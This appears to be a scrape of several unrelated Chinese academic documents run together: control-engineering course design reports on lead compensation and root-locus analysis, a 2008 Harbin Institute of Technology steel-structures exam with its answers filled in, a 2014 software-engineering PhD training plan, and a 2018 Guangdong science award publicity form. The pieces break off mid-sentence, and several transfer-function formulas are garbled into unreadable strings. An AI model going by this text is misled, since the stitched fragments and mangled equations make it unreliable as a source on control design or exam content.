指导教师签名：年月日 系主任（或责任教师）签名：年月日 目录 摘要 (4) 1.单级移动倒立摆系统建模 (5) 1.1非线性化数学模型 (5) 1.2 线性化数学模型 (7) 2.倒立摆系统的串联超前校正 (9) 2.1未校正系统的输出动态性能 (9) 2.2 倒立摆系统的串联超前校正 (10) 2.3校正后系统的输出动态性能 (14) 3 .校正前系统与校正后系统的比较 (15) 3.1 校正前系统的仿真 (15) 3.2 校正后系统的仿真 (17) 3.3 校正前系统与校正后系统的比较 (18) 心得与体会 (20) 参考文献 (21) 本科生课程设计成绩评定表 (22)
哈工大2008 年 春 季学期 钢结构基本原理及设计 试 题 一、 填空题：(每空1分，共20分) 1、 计算结构或构件的强度、稳定性以及连接的强度时，应采用荷载的 设计值；计算疲劳时，应采用荷载的 标准 值。 2、 钢材Q235B 中，235代表 屈服点 ，按脱氧方法该钢材属于 镇静 钢。 3、 对于普通碳素钢，随含碳量的增加，钢材的屈服点和抗拉强度 增高 ， 塑性和韧性 下降 ，焊接性能 变差 。 4、当采用三级质量受拉斜对接焊缝连接的板件，承受轴心力作用，当焊缝轴 线与轴心力方向间夹角满足 tan 1.5θ≤ ，焊缝强度可不计算 。 5、钢材的选用应根据结构的重要性 荷载特征、连接方法、工作环境、应力状态、钢材厚度 等因素综合考虑，选用合适的钢材。 6、钢材受三向同号拉应力作用，数值接近，即使单项应力值很大时，也不易 进入 塑性 状态，发生的破坏为 脆性 破坏。 7、 某梯形钢屋架，屋脊处应设 刚性 性系杆，该系杆按 受压 杆设计。 8、 轴心受压柱的柱脚底板厚度是按底板的 受弯 受力工作确定的。 9、 如下图突缘式支座加劲肋，应按承受支座反力的轴心受压构件计算梁平面外 （绕Z 轴）稳定，钢材Q235钢， 此受压构件截面面积值为 2960mm 2 ， 其长细比为 21.07 10、 格构式轴心受压构件绕虚轴的稳定计算采用换算长细比是考虑剪切变形 的影响。 11、实腹式单向偏心受压构件的整体稳定，分为弯矩 作用平面内 的稳定和 弯矩 作用平面外 的稳定。 二、 单项选择题(每题2分，共16分) 1、对于Q235钢板，其厚度越大 D 。 1 1 10
哈尔滨工业大学 软件工程学科 博士研究生培养方案 计算机科学与技术学院 2014年5月
软件工程学科博士研究生培养方案说明 一、培养目标 1、树立爱国主义和集体主义思想，树立科学的世界观与方法论。 2、掌握本学科坚实宽广的基础理论、系统深入的专门知识和功底深厚的软件工程技术；深入了解学科的发展现状、趋势及研究前沿；熟练地掌握一门外国语，并具有一定的国际学术交流能力；具有独立从事科学研究的能力；能够在科学研究或专门技术上做出创新成果。 3、具有实事求是的科学精神、严谨务实的科研作风，具有良好的合作精神。 二、培养年限 博士生培养年限一般为3-4年，硕博连读研究生培养年限一般为5年。特殊情况下，经有关审批程序批准，一般博士生的培养年限最长可延至5年，硕博连读研究生的培养年限最长可延至6年。 三、研究方向 为培养博士研究生独立地、创造性地从事科学研究的能力，本学科研究方向设置注重前沿性、基础性和交叉性，研究方向相对稳定。计算机学院按照软件工程一级学科制定博士生培养方案，其主要研究方向为6个。 软件工程学科主要研究方向包括： （1）软件服务工程（2）软件工程技术与软件体系结构（3）软件可信性与可靠性（4）智能软件理论与机器学习 （5）商务智能与数据挖掘（6）领域软件工程 四、培养方式 博士生的培养实行博士生导师负责制。可根据培养工作的需要确定副导师和协助指导教师。为有利于在博士生培养中博采众长，提倡对同一研究方向的博士生成立博士生培养指导小组，对培养中的重要环节和博士学位论文中的重要学术问题进行集体讨论。博士生培养指导小组名单应在学院备案。
五、课程设置 博士生在校期间应至少修满14个学分，其中课程学习10学分，必修环节4学分。 六、学分分配 1．公共课程（4学分） （1）政治理论课2学分 （2）博士生外语课（可以有条件免修） 2学分 2．学科学位课程（不少于2学分） （1）软件体系结构(含软件设计模式) （2）机器学习 （3）软件数学专题课 3．选修课程（不少于4学分） （1）服务工程及方法论（2）软件需求工程 （3）云计算（4）移动计算理论（硕） （5）软件复用与中间件理论（6）软件模型检验 （7）程序设计方法学（8）数据挖掘与商务智能 （9）算法设计与分析专题课（10）数据库系统原理（硕） （11）分布式信息处理（12）软件可靠性 4．必修环节(4学分) （1）综合考评1学分 （2）开题报告1学分 （3）中期检查1学分 （4）学术活动1学分 （5）社会实践1学分 注：（1）-（3）为必选环节，（4）、（5）可任选一 注意关于博士课程：如若在硕士阶段修过博士培养方案中所列课程，可以选修本学科学术型硕士研究生培养方案中的其他重要学位课作为学位课，可以选修全校范围内开设的与学科有关的研究生课程作为选修课。 4．有关说明： （1）公共课程：政治理论课为博士生必选课；博士生外语课由外国语学院
自控课程设计 课程设计(论文) 设计（论文）题目 单位反馈系统中传递函数的研究 学院名称 Z Z Z Z 学院 专业名称 Z Z Z Z Z 学生姓名 Z Z Z 学生学号 Z Z Z Z Z Z Z Z Z Z 任课教师 Z Z Z Z Z 设计（论文）成绩 单位反馈系统中传递函数的研究 一、设计题目 设单位反馈系统被控对象的传递函数为 ) 2)(1()(00++=s s s K s G （ksm7） 1、画出未校正系统的根轨迹图，分析系统是否稳定。 2、对系统进行串联校正，要求校正后的系统满足指标： （1）在单位斜坡信号输入下，系统的速度误差系数=10。 （2）相角稳定裕度γ>45o , 幅值稳定裕度H>12。 （3）系统对阶跃响应的超调量Mp <25%,系统的调节时间Ts<15s
3、分别画出校正前，校正后和校正装置的幅频特性图。 4、给出校正装置的传递函数。计算校正后系统的截止频率Wc和穿频率Wx。 5、分别画出系统校正前、后的开环系统的奈奎斯特图，并进行分析。 6、在SIMULINK中建立系统的仿真模型，在前向通道中分别接入饱和非线性环节和回环非线性环节，观察分析非线性环节对系统性能的影响。 7、应用所学的知识分析校正器对系统性能的影响（自由发挥）。 二、设计方法 1、未校正系统的根轨迹图分析 根轨迹简称根迹，它是开环系统某一参数从0变为无穷时，闭环系统特征方程式的根在s平面上变化的轨迹。 1）、确定根轨迹起点和终点。 根轨迹起于开环极点，终于开环零点；本题中无零点，极点为：0、-1、-2 。故起于0、-1、-2，终于无穷处。 2）、确定分支数。 根轨迹分支数与开环有限零点数m和有限极点数n中大者相等，连续并且对称于实轴；本题中分支数为3条。 3）、确定根轨迹渐近线。 渐近线与实轴夹角为，交点为：。且： k=0,1,2······n-m-1; ; 则：、、；。 4）、确定根轨迹在实轴上的分布。 在（-1，0）、（，）区域内，右边开环实数零极点个数之和为奇数，该区域必是根轨迹；在（-2.-1）区域内，右边开环实数零极点个数之和为偶数，该区域不是根轨迹。 5）、确定根轨迹分离点与分离角。 分离点坐标d是以下方程的解：
2018年度广东省科学技术奖公示表项目名称复杂空间钢结构建造关键技术创新与应用 主要完成单位单位1 中建钢构有限公司 单位2 广东省建筑设计研究院单位3 哈尔滨工业大学（深圳）单位4 华南理工大学 主要完成人（职称、完成单位、工作单位）1.陈振明（职称：教授级高工；工作单位：中建钢构有限公司；完成单位：中建钢构有限公司；主要贡献：全面负责项目技术研发，主要研发“复杂空间钢结构精益深化设计方法”“复杂空间钢结构数字化建造加工技术”“大跨空间钢结构高性能连接技术”研发，投入该项技术研究工作量占本人工作量80%以上。）。） 2.罗赤宇（职称：教授级高工；工作单位：广东省建筑设计研究院；完成单位：广东省建筑设计研究院；主要贡献：复杂空间结构项目设计技术负责人，主要针对创新点1开展了工程设计方案及施工建造方案的分析论证，投入该项技术研究工作量占本人工作量40%以上。） 3.廖彪（职称：高级工程师；工作单位：中建钢构有限公司；完成单位：中建钢构有限公司；主要贡献：主要负责“大跨空间钢结构半刚性节点连接技术”、“大跨空间钢结构多功能支承体系”研发等，投入该项技术研究工作量占本人工作量70%以上。） 4.王湛（职称：教授；工作单位：华南理工大学；完成单位：华南理工大学；主要贡献：在整个钢结构结构体系中，理清新型复杂钢结构节点本构关系，进行结构体系的分析与优化设计，充分实现钢结构体系的高性能。重点集中研究钢结构节点研究的三个主要科学问题：（1）组件分析方法修正和改进研究；（2）模型相似性问题研究；（3）节点大数据相关模型研究。研究成果对于相关科学研究领域都具有普遍的、重要的科学意义与应用前景，有明显的经济效益和社会效益。投入该项技术研究工作量占本人工作量40%以上） 5.査晓雄（职称：教授；工作单位：哈尔滨工业大学（深圳）；完成单位：哈尔滨工业大学（深圳）；主要贡献：主要参与“大跨空间钢结构半刚性节点连接技术”研究，投入该项技术研究工作量占本人工作量30%以上 6.廖选茂（职称：工程师；工作单位：中建钢构有限公司；完成单位：中建钢构有限公司；主要贡献：主要参与复杂空间结构绿色高效建造技术研发，投入该项技术研究工作量占本人工作量60%以上） 7.戴立先（职称：教授级高工；工作单位：中建钢构有限公司；完成单位：中建钢构有限公司；主要贡献：主要负责空间异型钢结构高精度测控技术、复杂空间结构绿色高效建造技术研发，投入该项技术研究工作量占本人工作量30%以上） 8.欧阳超（职称：教授级高工；工作单位：中建钢构有限公司；完成单位：中建钢构有限公司；主要贡献：主要参与复杂空间结构绿色高效建造技术研发，投入该项技术研究工作量占本人工作量30%以上） 9.陈韬（职称：教授级高工；工作单位：中建钢构有限公司；完成单位：中建钢构有限公司；主要贡献：主要参与复杂空间结构绿色高效建造技术研发，投入该项技术研究工作量占本人工作量30%以上） 10.唐齐超（职称：工程师；工作单位：中建钢构有限公司；完成单位：中建钢构有限公司；主要贡献：主要参与空间异型钢结构高精度测控技术研发，投入该项技术研究工作量占本人工作量30%以上）
成绩 课程设计报告 题目控制系统的设计与校正 课程名称自动控制原理课程设计 院部名称机电工程学院 专业电气工程及其自动化 班级 10电气(1) 学生姓名董天宠 学号 1004103037 课程设计地点 C306 课程设计学时 1周 指导教师陈丽换 金陵科技学院教务处制
目录 一、设计目的 (3) 二、设计任务与要求 (3) 三、设计方案 (4) 四、校正函数的设计 (4) 4.1、校正前系统特性 (4) 4.2、利用MATLAB语言计算出超前校正器的传递函数 (6) 4.3校验系统校正后系统是否满足题目要求 (7) 五、函数特征根的计算 (8) 5.1校正前 (8) 5.2校正后 (9) 六、系统动态性能分析 (10) 6.1 校正前单位阶跃响应 (10) 6.2校正前单位脉冲响应 (11) 6.3校正前单位斜坡信号 (14) 七、校正后动态性能分析 (14) 7.1 校正后单位阶跃响应 (15) 7.2 校正后单位冲击响应 (15) 7.3 校正后单位斜坡响应 (16) 八、系统的根轨迹分析 (17) 8.1、校正前根轨迹分析 (17) 8.2、校正后根轨迹分析 (19) 九、系统的奈奎斯特曲线分析 (21) 9.1校正前奈奎斯特曲线分析 (21) 9.2 校正后奈奎斯特曲线分析 (22) 设计小结 (23) 参考文献 (24)
1.设计目的 1）掌握自动控制原理的时域分析法，根轨迹法，频域分析法，以及各种补偿（校正）装置的作用及用法，能够利用不同的分析法对给定系统进行性能分析，能根据不同的系统性 能指标要求进行合理的系统设计，并调试满足系统的指标。 2）学会使用MATLAB 语言及Simulink 动态仿真工具进行系统仿真与调试。 2.设计任务与要求 已知单位负反馈系统的开环传递函数0 K G(S)S(0.1S 1)(0.001S 1) = ++， 试用频率法设计串联超前校正装置，使系统的相位裕度 045γ≥，静态速度误差系数1v K 1000s -= 1）首先， 根据给定的性能指标选择合适的校正方式对原系统进行校正，使其满足工作要求。要求程序执行的结果中有校正装置传递函数和校正后系统开环传递函数，校正装置的参数T ，α等的值。 2)利用MATLAB 函数求出校正前与校正后系统的特征根，并 判断其系统是否稳定，为什么? 3)利用MATLAB 作出系统校正前与校正后的单位脉冲响应曲线，单位阶跃响应曲线，单位斜坡响应曲线，分析这三种曲线的关系？求出系统校正前与校正后的动态性能指标 σ%、tr 、tp 、ts 以及稳态误差的值，并分析其有何变化？